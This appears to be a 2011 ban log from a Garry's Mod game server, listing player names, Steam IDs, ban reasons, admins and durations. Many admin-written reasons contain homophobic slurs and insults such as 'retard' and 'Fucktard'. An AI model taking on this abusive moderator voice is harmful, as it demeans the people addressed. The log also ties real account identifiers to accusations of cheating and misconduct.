Unknown Permanent Banned +10:32 pm 27-05-11 +[SP]+ Ostrava of Boletaria STEAM_0:1:25494238 +crowbar retard +[SP]+ MAD MANN Unknown Unknown 0:1:0 Unbanned +10:07 pm 27-05-11 linus2011 STEAM_0:0:37766021 Alt of banned ID +STEAM_0:0:37766021 (Console) Unknown Unknown Permanent Banned +9:29 pm 27-05-11 Im GHey STEAM_0:0:18391725 Cheat: Speedhack +(Console) Unknown Unknown Permanent Banned +5:26 pm 27-05-11 Unknown STEAM_0:1:20237730 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +9:48 pm 26-05-11 Aidan [UK] STEAM_0:0:13528709 Kiwii Unknown +Unknown 1:0:0 Unbanned +9:48 pm 26-05-11 Deathnotedo STEAM_0:1:24637211 Kiwii Unknown +Unknown 1:0:0 Unbanned +7:50 pm 26-05-11 Diglett STEAM_0:1:17049176 micspam faggot <[Foxes]> +.ExEcute Unknown Unknown 0:1:0 Unbanned +7:44 pm 26-05-11 ToX1c [Gmod.biZ] STEAM_0:0:9184559 retard +[SP]+ +MAD MANN Unknown Unknown 1:0:0 Unbanned +6:53 pm 26-05-11 Unknown STEAM_0:1:18595265 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +6:53 pm 26-05-11 Unknown STEAM_0:1:40856910 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +10:29 pm 25-05-11 JereDude STEAM_0:0:20475961 rdm <[Foxes]> +.ExEcute Unknown Unknown 0:8:20 Unbanned +8:12 pm 25-05-11 Flapadar STEAM_0:0:10839552 Test (Console) +Unknown Unknown 0:0:53 Unbanned +7:32 pm 25-05-11 Zombiedude101 STEAM_0:0:19988556 how about you +fuck off +[SP]+ MAD MANN Unknown Unknown 1:0:0 Unbanned +6:07 pm 25-05-11 Taina Imatake STEAM_0:1:25616762 (N/A) Kiwii +Unknown Unknown 0:16:40 Unbanned +3:24 pm 25-05-11 Grand Duchess of Trollvania STEAM_0:1:32510633 +Retard rdmer. +[SP]+ ULTRA Unknown Unknown 14:0:0 Unbanned +3:19 pm 25-05-11 Benhur STEAM_0:0:24001820 Alt of banned ID +STEAM_0:0:24001820 (Console) Unknown Unknown Permanent Banned +3:16 pm 25-05-11 Unknown STEAM_0:0:4882179 Retard rdmer +[SP]+ +ULTRA Unknown Unknown Permanent Banned +6:35 pm 24-05-11 Admiral STEAM_0:1:3920057 Retard Flapadar +Unknown Unknown Permanent Banned +6:34 pm 24-05-11 Kiwii STEAM_0:1:18960389 Test +[SP]+ ULTRA +Unknown Unknown 0:0:1 Unbanned +4:30 pm 24-05-11 Coockie MONSTER [Gmod.biZ] STEAM_0:0:9184559 idiot ++[SP]+ MAD MANN Unknown Unknown 0:1:0 Unbanned +4:13 pm 24-05-11 Green Lex Luthor STEAM_0:1:13743755 tard +[SP]+ MAD +MANN Unknown Unknown 0:10:0 Unbanned +3:01 pm 24-05-11 Aldof Satlin STEAM_0:1:10178515 Rdm to the extreme +ColdFusion Unknown Unknown 6:6:1 Unbanned +10:48 pm 23-05-11 Carnivore (Aqua Mafia Soldier) STEAM_0:1:3708491 +Fag, Told you not to be the mouse +[SP]+ CCD Unknown Unknown 0:2:0 +Unbanned +5:11 pm 23-05-11 Andaz STEAM_0:0:19953733 Alt of banned ID +STEAM_0:0:19953733 (Console) Unknown Unknown Permanent Banned +2:38 pm 23-05-11 Unknown STEAM_0:1:23749032 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +1:59 am 23-05-11 Phygar STEAM_0:0:17546475 Lying to admin +[SP]+ +Bloodcore Unknown Unknown 0:10:0 Unbanned +1:57 am 23-05-11 HErp derp STEAM_0:0:26692186 rdm <[Foxes]> +.ExEcute Unknown Unknown 0:2:0 Unbanned +1:52 am 23-05-11 Unknown STEAM_0:1:26104355 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +10:42 pm 22-05-11 Unknown STEAM_0:1:22891954 Continuous rdm of +babyadmin + rdming others. +[SP]+ ULTRA Unknown Unknown 90:0:0 +Unbanned +10:27 pm 22-05-11 Krazyfool STEAM_0:0:25457764 rdm <[Foxes]> +.ExEcute Unknown Unknown 0:2:0 Unbanned +4:20 pm 22-05-11 Unknown STEAM_0:1:19511453 Update: Mass RDM, low +karma. RDMing with friend. +[SP]+ ULTRA Unknown Unknown Permanent +Banned +4:14 pm 22-05-11 Unknown STEAM_0:1:14657490 Mass rdm several times. +Low karma. +[SP]+ ULTRA Unknown Unknown Permanent Banned +4:13 pm 22-05-11 men tjenare STEAM_0:1:19511453 RDM. Low karma. ++[SP]+ ULTRA Unknown Unknown 14:0:0 Unbanned +2:57 pm 22-05-11 Unknown STEAM_0:0:26474790 mass rdm <[Foxes]> +.ExEcute Unknown Unknown 0:3:20 Unbanned +2:16 pm 22-05-11 Unknown STEAM_0:0:31953549 Sort of RDM then +disconnecting. +[SP]+ ULTRA Unknown Unknown 1:0:0 Unbanned +1:06 pm 22-05-11 Ð¥Ð?Ð?ЧÐ?Ð? Ð?Ð?РЩ-AK1337PRO STEAM_0:1:27615857 +exploiting door <[Foxes]> .ExEcute Unknown Unknown Permanent Banned +1:03 pm 22-05-11 gurur STEAM_0:0:21776336 rdm <[Foxes]> .ExEcute +Unknown Unknown Permanent Banned +12:58 pm 22-05-11 MCC FTW STEAM_0:0:34586771 RDM <[Foxes]> +.ExEcute Unknown Unknown Permanent Banned +12:23 pm 22-05-11 men tjenare STEAM_0:1:19511453 rdm <[Foxes]> +.ExEcute Unknown Unknown 0:2:0 Unbanned +12:20 pm 22-05-11 {}()cheese killer(){} STEAM_0:1:27454569 mass rdm +<[Foxes]> .ExEcute Unknown Unknown 0:2:0 Unbanned +12:13 pm 22-05-11 [VN-O] Felix STEAM_0:0:35520164 rdm <[Foxes]> +.ExEcute Unknown Unknown 0:1:0 Unbanned +12:27 am 22-05-11 Unknown STEAM_0:0:12269454 Cheat: SethHack. +(Console) Unknown Unknown Permanent Banned +7:19 pm 21-05-11 Unknown STEAM_0:1:14220841 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +3:22 pm 21-05-11 ^2[GTR 141]^3Captain.Foxer STEAM_0:1:19280513 Follow +the rules next time. +[SP]+ ULTRA Unknown Unknown 0:5:0 Unbanned +12:53 am 21-05-11 Unknown STEAM_0:1:20899589 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:53 am 21-05-11 Unknown STEAM_0:1:15575003 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:52 am 21-05-11 Unknown STEAM_0:1:23361066 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:35 am 21-05-11 Unknown STEAM_0:1:13393436 New ban time +[SP]+ +ULTRA Unknown Unknown 7:0:0 Unbanned +11:42 pm 20-05-11 VictorBaun STEAM_0:1:40711412 Obvious hack is +obvious... and it is rdm too +[SP]+ ULTRA Unknown Unknown +Permanent Banned +11:01 pm 20-05-11 Unknown STEAM_0:1:13393436 Update: Permabanned for +trolling +[SP]+ ULTRA Unknown Unknown 0:21:23 Unbanned +10:19 pm 20-05-11 [KFKC] JELLboeY STEAM_0:1:13393436 Low karma + +retard. +[SP]+ ULTRA Unknown Unknown 1:0:0 Unbanned +7:43 pm 20-05-11 Syko STEAM_0:1:19893872 Pushing people off is rdm. +And you are a dick +[SP]+ ULTRA Unknown Unknown 0:5:0 Unbanned +7:11 pm 20-05-11 JakScrim STEAM_0:1:40464733 RDM Kiwii Unknown +Unknown 69:10:40 Unbanned +3:33 pm 20-05-11 Red bull STEAM_0:0:36505286 RDM,Little trolling, +lying... Flapadar Unknown Unknown 3:0:0 Unbanned +12:39 pm 20-05-11 Unknown STEAM_0:1:12412908 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +1:57 am 20-05-11 Unknown STEAM_0:1:38116330 Exploit ( Link + +) (Console) Unknown Unknown Permanent Banned +12:06 am 20-05-11 Unknown STEAM_0:1:5489988 Exploit ( Link + +) (Console) Unknown Unknown Permanent Banned +12:04 am 20-05-11 Unknown STEAM_0:1:17672340 Exploit ( Link + +) (Console) Unknown Unknown Permanent Banned +11:39 pm 19-05-11 DarkScorpion STEAM_0:1:25374431 Mass-RDM +[SP]+ +Bloodcore Unknown Unknown 0:20:0 Unbanned +11:22 pm 19-05-11 a newspaper STEAM_0:0:17480101 Mass-RDM as +detective, Burn in hell +[SP]+ Bloodcore Unknown Unknown Permanent +Banned +11:18 pm 19-05-11 dacisco101 STEAM_0:1:28083663 Mass-RDM as +detective +[SP]+ Bloodcore Unknown Unknown 0:10:0 Unbanned +4:59 pm 19-05-11 Tubbe STEAM_0:1:24121795 Alt of banned ID +STEAM_0:1:37767930 (Console) Unknown Unknown Permanent Banned +11:54 am 19-05-11 Jummy STEAM_0:0:13297057 you suck Kiwii Unknown +Unknown 0:0:10 Unbanned +2:11 am 19-05-11 Unknown STEAM_0:1:33962112 Cheat: TeaBag Hack +(Console) Unknown Unknown Permanent Banned +7:30 pm 18-05-11 Unknown STEAM_0:1:32234981 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +6:26 pm 18-05-11 Mercury Meltdown STEAM_0:1:14464668 repeated rdm and +claiming shit +[SP]+ SAD MANN Unknown Unknown 69:10:40 Unbanned +3:14 pm 18-05-11 BLOOD AnGEL STEAM_0:0:36912796 Wearing tags and +being ass St. Hetfield Unknown Unknown 0:20:0 Unbanned +3:12 pm 18-05-11 Unknown STEAM_0:0:36912796 Disconnecting was a bad +idea to do mate St. Hetfield Unknown Unknown 0:20:0 Unbanned +1:46 pm 18-05-11 haki(rus) STEAM_0:0:39083268 boosting +[SP]+ MAD +MANN Unknown Unknown 1:0:0 Unbanned +11:36 pm 17-05-11 Win32.Backdoor.Ethereal STEAM_0:1:17119595 +Massive RDM +[SP]+ Searaphim Unknown Unknown Permanent Banned +7:03 pm 17-05-11 Unknown STEAM_0:1:24101589 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +6:39 pm 17-05-11 {>BW<} DEEP FÑ?IED M@Ñ?$ B@R! STEAM_0:1:9622670 Low +Karma +[SP]+ CCD Unknown Unknown 0:1:0 Unbanned +5:33 pm 17-05-11 Ice Fox STEAM_0:1:21588698 Ghosting, RDM (Unban by +ColdFusion 5/18/11) <[Foxes]> Yello Mellow Unknown Unknown 0:0:0 +Unbanned +3:16 pm 17-05-11 [AR] Norwegian Soldier STEAM_0:1:6857780 You asked +for it. +[SP]+ ULTRA Unknown Unknown Permanent Banned +8:55 pm 16-05-11 Unknown STEAM_0:0:36505286 Troll + retard +[SP]+ +ULTRA Unknown Unknown 1:0:0 Unbanned +8:23 pm 16-05-11 men tjenare STEAM_0:1:19511453 shut +[SP]+ MAD +MANN Unknown Unknown 0:0:10 Unbanned +4:17 pm 16-05-11 lolz is the traitor? STEAM_0:1:33127561 (N/A) ++[SP]+ Grim Jam Unknown Unknown 0:5:0 Unbanned +2:37 pm 16-05-11 Unknown STEAM_0:1:29849366 RDM, disconnect +[SP]+ +St. Hetfield Unknown Unknown Permanent Banned +2:12 pm 16-05-11 |VS||s{M}s| STEAM_0:1:39743812 RDM, My genitals +itch +[SP]+ St. Hetfield Unknown Unknown 8:8:0 Unbanned +1:24 pm 16-05-11 Unknown STEAM_0:1:21155536 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +10:47 pm 15-05-11 Unknown STEAM_0:1:28365925 Mass-Teamkilling as +traitor +[SP]+ Bloodcore Unknown Unknown Permanent Banned +10:00 pm 15-05-11 mandark STEAM_0:0:404578 Try not RDMing next time ++[SP]+ Suicidal Robot Unknown Unknown 0:1:0 Unbanned +9:27 pm 15-05-11 Faladorian STEAM_0:0:25264964 RDM + idiot +Flapadar Unknown Unknown 2:0:0 Unbanned +9:26 pm 15-05-11 [¿*GJJ | Grand [GER]*¿] STEAM_0:1:19865763 crowbar +RDM +[SP]+ Suicidal Robot Unknown Unknown 0:1:0 Unbanned +9:04 pm 15-05-11 +[SP]+ Buttsecks STEAM_0:1:20710616 Randomly +attacking then ignoring admin... +[SP]+ ULTRA Unknown Unknown +1:0:0 Unbanned +5:49 pm 15-05-11 Unknown STEAM_0:0:33452296 Fuck off retard +[SP]+ +St. Hetfield Unknown Unknown Permanent Banned +5:23 pm 15-05-11 ĴѲÐ?Ð?ζ112 NooB! STEAM_0:0:34582017 RDM, +Trolling +[SP]+ St. Hetfield Unknown Unknown 8:8:0 Unbanned +3:33 pm 15-05-11 Bob STEAM_0:0:28252305 Alt of banned ID +STEAM_0:0:27067158 (Console) Unknown Unknown 0:4:1 Unbanned +2:34 pm 15-05-11 Evil monkey madman STEAM_0:0:27067158 Asshole ++[SP]+ St. Hetfield Unknown Unknown 0:5:0 Unbanned +12:26 pm 15-05-11 Unknown STEAM_0:1:13359766 RDM, Disconnect, Troll ++[SP]+ St. Hetfield Unknown Unknown Permanent Banned +11:26 pm 14-05-11 Unknown STEAM_0:0:25188240 RDM +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +10:26 pm 14-05-11 Unknown STEAM_0:1:15628811 RDM, Troll +[SP]+ St. +Hetfield Unknown Unknown Permanent Banned +10:26 pm 14-05-11 Unknown STEAM_0:0:6096966 RDM, Troll +[SP]+ St. +Hetfield Unknown Unknown Permanent Banned +8:51 pm 14-05-11 [DyN] à¹?Û£Ã?onkAtomicPunchâ?¢ STEAM_0:0:27503788 +RDM, Hobo +[SP]+ Bloodcore Unknown Unknown 62:12:0 Unbanned +7:38 pm 14-05-11 Coockie Monster [Gmod.biZ] STEAM_0:0:9184559 Low +Karma +[SP]+ CCD Unknown Unknown 0:1:0 Unbanned +4:17 pm 14-05-11 Unknown STEAM_0:0:22995416 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:25 pm 14-05-11 Unknown STEAM_0:1:36017201 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +11:43 pm 13-05-11 Benhur STEAM_0:0:24001820 Bye, Go QQ on the Bans. +Ghosting. Mass RDM, Derogatory remarks and low karma +[SP]+ CCD +Unknown Unknown Permanent Banned +5:38 pm 13-05-11 SARGE (ANDRIAS) STEAM_0:1:33813361 RDM +[SP]+ +Bloodcore Unknown Unknown 4:4:0 Unbanned +4:00 pm 13-05-11 .[Killer]Ninja. STEAM_0:1:39847971 Fuck off kiddie +retard spammer. +[SP]+ ULTRA Unknown Unknown 1:0:0 Unbanned +3:52 pm 13-05-11 Unknown STEAM_0:0:15858318 Basing off-world. +[SP]+ +ULTRA Unknown Unknown 7:0:0 Unbanned +9:09 pm 12-05-11 Unknown STEAM_0:1:9622670 RDM -> Disconnect +[SP]+ +Bloodcore Unknown Unknown 0:20:0 Unbanned +2:40 am 12-05-11 JewBagel STEAM_0:0:31213658 RDM +[SP]+ Searaphim +Unknown Unknown 0:8:20 Unbanned +2:30 am 12-05-11 Fake Shady STEAM_0:0:11855023 Racism Detected, 1 +hour ban. +[SP]+ Searaphim Unknown Unknown 0:1:0 Unbanned +11:02 pm 10-05-11 Unknown STEAM_0:1:25915577 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +6:53 pm 10-05-11 Unknown STEAM_0:1:24883940 Annoying mic spammer, rdm +then lying and making some shit story. Fucktard The assembly line in +Dresden Unknown Unknown 7:0:0 Unbanned +6:49 pm 10-05-11 Unknown STEAM_0:1:3517399 RDM + Leave The assembly +line in Dresden Unknown Unknown 7:0:0 Unbanned +6:40 pm 10-05-11 Tony STEAM_0:0:34875775 Traitor tk + Ignoring admin. +Fucktard. The assembly line in Dresden Unknown Unknown Permanent +Banned +4:06 pm 10-05-11 Unknown STEAM_0:0:40519716 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +10:49 pm 09-05-11 Unknown STEAM_0:1:37214673 Dumb twat (Likely alt of +nikolaj3757) (Console) Unknown Unknown Permanent Banned +6:07 pm 09-05-11 Unknown STEAM_0:1:14299044 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +11:01 pm 08-05-11 -BC- *Gen *Prick STEAM_0:0:404578 Alt of banned ID +STEAM_0:1:337624 (Console) Unknown Unknown 0:9:45 Unbanned +10:46 pm 08-05-11 Hudson STEAM_0:1:337624 Prop kill(almost) + +ignoring admin. +[SP]+ ULTRA Unknown Unknown 0:10:0 Unbanned +8:08 pm 08-05-11 Unknown STEAM_0:0:22944528 RDM, Mic Spam, Left ++[SP]+ CCD Unknown Unknown 0:2:0 Unbanned +4:31 pm 08-05-11 Unknown STEAM_0:1:26623243 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +1:20 am 08-05-11 Unknown STEAM_0:0:20231238 RDM, Left +[SP]+ CCD +Unknown Unknown 3:3:0 Unbanned +11:49 pm 07-05-11 Unknown STEAM_0:1:6891944 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +11:49 pm 07-05-11 Unknown STEAM_0:0:21044008 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +10:49 pm 07-05-11 Unknown STEAM_0:1:18246102 Voice Spam, Chat Spam, +Admin Disrespect, Disconnecting to prevent punishment +[SP]+ +Bloodcore Unknown Unknown Permanent Banned +10:02 pm 07-05-11 »ȤÏ?Å¢Æ?« aNthii STEAM_0:1:18234911 RDM, Admin +Disrespect, Fool +[SP]+ Bloodcore Unknown Unknown Permanent Banned +7:08 pm 07-05-11 â?¨â?ºÉ?Å?&ƦÒ?â?¹â?¨ Dave STEAM_0:0:27478509 +Teamkilling Traitors, Ignoring admin, learn to read. +[SP]+ Bloodcore +Unknown Unknown 41:16:0 Unbanned +6:19 pm 07-05-11 Unknown STEAM_0:0:26794710 RDM lololol +[SP]+ +Suicidal Robot Unknown Unknown 0:1:0 Unbanned +6:19 pm 07-05-11 vittwow STEAM_0:0:26794710 Mass-RDM, Enjoy. +[SP]+ +Bloodcore Unknown Unknown 0:1:30 Unbanned +12:13 pm 07-05-11 Unknown STEAM_0:0:20102730 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:18 am 07-05-11 Unknown STEAM_0:1:29564212 Mass-RDM as detective, +Disconnect to prevent punishment +[SP]+ Bloodcore Unknown Unknown +Permanent Banned +11:33 pm 06-05-11 Narwhal with Loadsamoney! STEAM_0:1:4883056 +Mass-RDM as Detective, Ignoring Admin++ +[SP]+ Bloodcore Unknown +Unknown Permanent Banned +11:01 pm 06-05-11 linus2011 STEAM_0:0:37766021 Mass-RDM, Retard ++[SP]+ Bloodcore Unknown Unknown Permanent Banned +8:41 pm 05-05-11 killer STEAM_0:1:33456444 Alt of banned ID +STEAM_0:0:30402831 (Console) Unknown Unknown Permanent Banned +6:41 pm 05-05-11 Unknown STEAM_0:1:37574404 Mass-RDM +[SP]+ +Bloodcore Unknown Unknown 12:12:0 Unbanned +6:26 pm 05-05-11 | â?¹â?¢Nikolajâ?¢â?º| STEAM_0:0:30402831 You are +supposed to be permabanned. +[SP]+ ULTRA Unknown Unknown Permanent +Banned +3:00 pm 05-05-11 1+3+3=7 STEAM_0:1:16157086 Alt of banned ID +STEAM_0:1:11641057 (Console) Unknown Unknown Permanent Banned +12:08 am 05-05-11 Zombi Dorian¹ STEAM_0:1:18019895 Alt of banned ID +STEAM_0:0:36841282 (Console) Unknown Unknown Permanent Banned +8:43 pm 04-05-11 [J] [P] STEAM_0:0:35556210 You NOOB! +[SP]+ CCD +Unknown Unknown 2:12:0 Unbanned +7:37 pm 04-05-11 Unknown STEAM_0:0:19035165 Learn to play. Upgraded +to fucking perma. +[SP]+ ULTRA Unknown Unknown Permanent Banned +7:37 pm 04-05-11 Grassman STEAM_0:0:19035165 Learn to play. +[SP]+ +ULTRA Unknown Unknown 7:0:0 Unbanned +5:48 pm 04-05-11 Unknown STEAM_0:0:25307981 Forcefully uploading +scripts isn't a laughing matter. (Console) Unknown Unknown +Permanent Banned +5:46 pm 04-05-11 Unknown STEAM_0:0:17809124 Forcefully uploading +scripts isn't a laughing matter. (Console) Unknown Unknown +Permanent Banned +12:53 am 04-05-11 GLaDoS 2.0 STEAM_0:1:17582031 RDMed Again! +[SP]+ +Searaphim Unknown Unknown Permanent Banned +10:09 pm 03-05-11 -BC- *Gen *Prick STEAM_0:0:404578 RDM/Innocenet +C4 +[SP]+ Suicidal Robot Unknown Unknown 0:3:0 Unbanned +3:57 pm 03-05-11 Unknown STEAM_0:1:19064705 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +3:55 pm 03-05-11 Unknown STEAM_0:1:14253172 Racist, spamming, general +douchbag (Console) Unknown Unknown Permanent Banned +3:50 pm 03-05-11 Soap STEAM_0:0:23387476 RDM Frosted Butts +Unknown Unknown 0:12:0 Unbanned +12:06 am 03-05-11 GodIsMyHero STEAM_0:0:27687690 RDM, Treason +[SP]+ +CCD Unknown Unknown 0:2:0 Unbanned +5:59 pm 02-05-11 Unknown STEAM_0:1:35173535 Injected cheat +Flapadar Unknown Unknown Permanent Banned +11:17 pm 01-05-11 Simon STEAM_0:0:19142170 Low Karma +[SP]+ Suicidal +Robot Unknown Unknown 0:1:0 Unbanned +11:16 pm 01-05-11 Jacv [PT] STEAM_0:0:19973712 (N/A) +[SP]+ Suicidal +Robot Unknown Unknown 0:2:0 Unbanned +11:15 pm 01-05-11 Unknown STEAM_0:0:19973712 RDM +[SP]+ Suicidal +Robot Unknown Unknown 0:2:0 Unbanned +9:52 pm 01-05-11 charlie the headcrab :) STEAM_0:1:26949104 RDM ++[SP]+ Suicidal Robot Unknown Unknown 0:3:0 Unbanned +9:23 pm 01-05-11 Morkz STEAM_0:0:9184559 Rmding +[SP]+ MAD MANN +Unknown Unknown 4:20:40 Unbanned +6:41 pm 01-05-11 Irka STEAM_0:1:18225902 RDM {SuPa}-leet-[KILLA] +Cap-A-RoBoT Unknown Unknown 0:2:0 Unbanned +3:46 pm 01-05-11 Intoxicated Spycrab STEAM_0:0:30305169 Making more +applications +[SP]+ Grim Jam Unknown Unknown 1:9:20 Unbanned +12:30 pm 01-05-11 Lucky Number 9 STEAM_0:1:6017936 Dicksuck +[SP]+ +Grim Jam Unknown Unknown 0:16:47 Unbanned +12:29 pm 01-05-11 DarkScorpion STEAM_0:1:25374431 Dicksuck +[SP]+ +Grim Jam Unknown Unknown 0:16:47 Unbanned +3:30 am 01-05-11 King Takeo Imataina STEAM_0:0:31812766 (N/A) +.ExEcute Unknown Unknown 69:10:40 Unbanned +3:30 am 01-05-11 Queen Taina Imatake STEAM_0:1:25616762 (N/A) +.ExEcute Unknown Unknown 6:22:40 Unbanned +3:30 am 01-05-11 Unknown STEAM_0:1:25616762 (N/A) .ExEcute +Unknown Unknown Permanent Banned +3:28 am 01-05-11 Unknown STEAM_0:1:2561676 micspam .ExEcute +Unknown Unknown Permanent Banned +12:20 am 01-05-11 Unknown STEAM_0:1:28978882 Low Karma +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +11:52 pm 30-04-11 DarkScorpion STEAM_0:1:25374431 412 karma... ++[SP]+ CCD Unknown Unknown 0:1:0 Unbanned +11:51 pm 30-04-11 Morkz STEAM_0:0:9184559 Low KArma +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +6:24 pm 30-04-11 â?¢à¹?Û£Û?Boneà¹?Û£Û?Breakerâ?¢ STEAM_0:0:30812563 +RDM (And then an "RDM Round") Flapadar Unknown Unknown Permanent +Unbanned +12:44 pm 30-04-11 Unknown STEAM_0:1:15294162 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:43 pm 30-04-11 Unknown STEAM_0:0:26526813 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +11:16 am 30-04-11 >Evil Master< STEAM_0:1:39847971 Low Karma ++[SP]+ CCD Unknown Unknown 0:1:0 Unbanned +12:01 am 30-04-11 Dr.Greenthumb[Ger] STEAM_0:1:23557563 RMD +[SP]+ +Searaphim Unknown Unknown Permanent Banned +10:26 pm 29-04-11 Morkz STEAM_0:0:9184559 Spam +[SP]+ CCD Unknown +Unknown 0:1:0 Unbanned +7:29 pm 29-04-11 Manwell STEAM_0:1:35078510 Alt of banned ID +STEAM_0:1:14928653 - Unban by flap (Console) Unknown Unknown +Permanent Unbanned +3:28 pm 29-04-11 +[SP]+ MEaDOW STEAM_0:0:18096541 just +[SP]+ MAD +MANN Unknown Unknown 0:0:10 Unbanned +10:03 pm 28-04-11 Unknown STEAM_0:0:38186996 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +4:31 pm 28-04-11 Get a job sparkling wiggles STEAM_0:1:22837038 Gtfo +rdmer. +[SP]+ ULTRA Unknown Unknown Permanent Banned +4:10 pm 28-04-11 Unknown STEAM_0:0:16470500 RDM. Leaving. +[SP]+ +ULTRA Unknown Unknown 14:0:0 Unbanned +4:08 pm 28-04-11 ã?¯ã?­ã?¼ã? STEAM_0:1:26410778 Obvious rdm is +obvious. +[SP]+ ULTRA Unknown Unknown 7:0:0 Unbanned +4:07 pm 27-04-11 Unknown STEAM_0:0:40406128 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +1:35 pm 27-04-11 Unknown STEAM_0:1:39052466 Mass +[SP]+ Nekoace +Unknown Unknown 6944:10:39 Banned +1:34 pm 27-04-11 Kanuken STEAM_0:1:39052466 Mass +[SP]+ Nekoace +Unknown Unknown Permanent Banned +10:30 pm 26-04-11 Rick OShea STEAM_0:0:404578 Alt of banned ID +STEAM_0:1:337624 (Console) Unknown Unknown 0:23:49 Unbanned +10:20 pm 26-04-11 Hudson STEAM_0:1:337624 Karma under 600 +[SP]+ +Hellknite Unknown Unknown 1:0:0 Unbanned +10:17 pm 26-04-11 Unknown STEAM_0:0:23033918 Karma, RDM and generally +being a dick +[SP]+ Hellknite Unknown Unknown Permanent Banned +10:14 pm 26-04-11 Niklas ã?? STEAM_0:0:23033918 Karma, RDM and +generally being a dick +[SP]+ Hellknite Unknown Unknown 1:16:40 +Unbanned +6:45 pm 26-04-11 Niklas ã?? STEAM_0:0:23033918 Low Karma +[SP]+ +CCD Unknown Unknown 0:1:0 Unbanned +6:45 pm 26-04-11 Unknown STEAM_0:0:23033918 Low Karma +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +6:13 pm 26-04-11 Marcykay STEAM_0:1:24734830 bye +[SP]+ CCD +Unknown Unknown 0:2:0 Unbanned +11:48 pm 25-04-11 Unknown STEAM_0:0:40161470 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +10:41 pm 25-04-11 Unknown STEAM_0:1:4883056 (N/A) +[SP]+ Nekoace +Unknown Unknown 6:22:40 Unbanned +10:25 pm 25-04-11 +[SP]+ DreamKiller STEAM_0:0:6673961 Flase SP +Member +[SP]+ CCD Unknown Unknown Permanent Banned +12:04 pm 25-04-11 Unknown STEAM_0:0:27362667 Twat (Console) +Unknown Unknown Permanent Banned +11:59 am 25-04-11 Unknown STEAM_0:1:21977353 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +6:22 pm 24-04-11 Cheese STEAM_0:1:20710616 RMD, Low karma +[SP]+ +CCD Unknown Unknown 0:1:0 Unbanned +12:26 pm 24-04-11 Unknown STEAM_0:0:5685772 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:25 pm 24-04-11 Unknown STEAM_0:0:22349391 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:13 am 24-04-11 Unknown STEAM_0:0:30874880 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +9:55 pm 23-04-11 VRN|Laserman@Enter Sumthin Here STEAM_0:0:7803220 +Dickhead. +[SP]+ ULTRA Unknown Unknown 0:5:0 Unbanned +9:52 pm 23-04-11 my ass STEAM_0:1:19758541 Huge ass troll, rdmer. ++[SP]+ ULTRA Unknown Unknown Permanent Banned +9:31 pm 23-04-11 =-=SC=-=bullet-proof-monk STEAM_0:1:1613039 RDM. +Dickhead. +[SP]+ ULTRA Unknown Unknown 14:0:0 Unbanned +9:23 pm 23-04-11 kristian STEAM_0:0:28455995 Learn to play, idiot. ++[SP]+ ULTRA Unknown Unknown 14:0:0 Unbanned +2:56 pm 23-04-11 Unknown STEAM_0:0:36780574 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +11:56 am 23-04-11 Unknown STEAM_0:0:37814204 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +11:56 am 23-04-11 Unknown STEAM_0:1:15712642 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +1:18 am 23-04-11 Who STEAM_0:1:22837038 Rdm, Low Karma +[SP]+ CCD +Unknown Unknown 0:2:0 Unbanned +1:08 am 23-04-11 Orbixx STEAM_0:1:6019229 RDM +[SP]+ CCD Unknown +Unknown 0:1:0 Unbanned +12:20 am 23-04-11 Unknown STEAM_0:1:22047853 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:20 am 23-04-11 Unknown STEAM_0:1:19916550 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +9:07 pm 22-04-11 Unknown STEAM_0:0:3228595 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +7:53 pm 22-04-11 DK-Spy á´°á´· STEAM_0:1:32425210 RDM. +[SP]+ +ULTRA Unknown Unknown 0:5:0 Unbanned +7:42 pm 22-04-11 Unknown STEAM_0:1:34202299 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +7:37 pm 22-04-11 demetri0404 STEAM_0:0:39749442 Descrimination ++[SP]+ CCD Unknown Unknown 3:3:0 Unbanned +7:30 pm 22-04-11 MÃ?Ã?Ã?HDDDYYY STEAM_0:0:35091788 Learn to play the +game +[SP]+ CCD Unknown Unknown 0:1:0 Unbanned +7:25 pm 22-04-11 CricketM17 STEAM_0:1:15712642 Learn to listen ++[SP]+ CCD Unknown Unknown 0:2:0 Unbanned +11:42 am 22-04-11 Unknown STEAM_0:0:17965481 Attempt to RDM. +Leaving. +[SP]+ ULTRA Unknown Unknown 30:0:0 Unbanned +11:17 am 22-04-11 